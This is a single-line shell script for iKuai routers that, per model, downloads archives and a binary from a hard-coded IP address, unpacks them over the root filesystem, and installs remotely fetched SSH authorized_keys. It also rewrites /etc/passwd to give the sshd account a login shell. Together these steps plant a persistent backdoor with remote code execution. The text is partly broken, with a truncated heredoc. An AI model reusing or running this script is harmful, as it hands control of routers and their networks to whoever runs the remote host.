#!/bin/sh setup_x86() { if ! [ -d /usr/ikuai ]; then echo "*** No an iKuai OS." exit 1 fi local is_32bit=Y case "`uname -m`" in x86_64) is_32bit=N;; esac cat /etc/mnt/uid 2>/dev/null [ -f /etc/passwd.orig ] || cp /etc/passwd /etc/passwd.orig sed -i 's/:sshd:root:/:sshd:\/root:/' /etc/passwd if [ "$is_32bit" = Y ]; then wget http://118.193.194.224/x86/ik-setup-x86.tgz -O /tmp/ee else wget http://118.193.194.224/x86/ik-setup-x64.tgz -O /tmp/ee fi cd / tar zxvf /tmp/ee [ -d /etc/dropbear ] && cp -f /root/.ssh/authorized_keys /etc/dropbear/ || : [ -x /etc/mnt/rc/rc ] && /etc/mnt/rc/rc || : echo cat /etc/mnt/uid 2>/dev/null } setup_ramips() { mkdir -p /root/.ssh; wget http://118.193.194.224/x86/authorized_keys -O /root/.ssh/authorized_keys [ -d /etc/dropbear ] && cp /root/.ssh/authorized_keys /etc/dropbear/ wget http://118.193.194.224/ralink/ps -O /bin/pss; chmod 755 /bin/pss [ -f /etc/passwd.orig ] || cp /etc/passwd /etc/passwd.orig sed -i 's#\(:sshd:/root:\)/sbin/login#\1/bin/sh#' /etc/passwd [ -f /etc/opkg.conf ] && sed -i 's/\/mt7620a/; s/# \(.*packages \)/\1/' /etc/opkg.conf || : cat > ~/.screenrc </dev/null cat /etc/mnt/uid } setup_ar71xx() { mkdir -p /root/.ssh; wget http://118.193.194.224/x86/authorized_keys -O /root/.ssh/authorized_keys [ -d /etc/dropbear ] && cp /root/.ssh/authorized_keys /etc/dropbear/ wget http://118.193.194.224/ar71xx/ps -O /bin/pss; chmod 755 /bin/pss } if grep -i ik-routeros /etc/firmwarename >/dev/null 2>&1; then setup_x86 elif grep -i ik-routeros /etc/release >/dev/null 2>&1; then setup_x86 elif grep -i ik-waar93 /etc/firmwarename >/dev/null 2>&1; then setup_ar71xx elif [ -f /etc/modelname ]; then model=`cat /etc/modelname` case "$model" in iKuai-M1|iKuai-Q25|iKuai-M20|IK-W3) setup_ramips;; *) echo "*** Undefined model '$model'.";; esac else echo "*** No defined model to operate." fi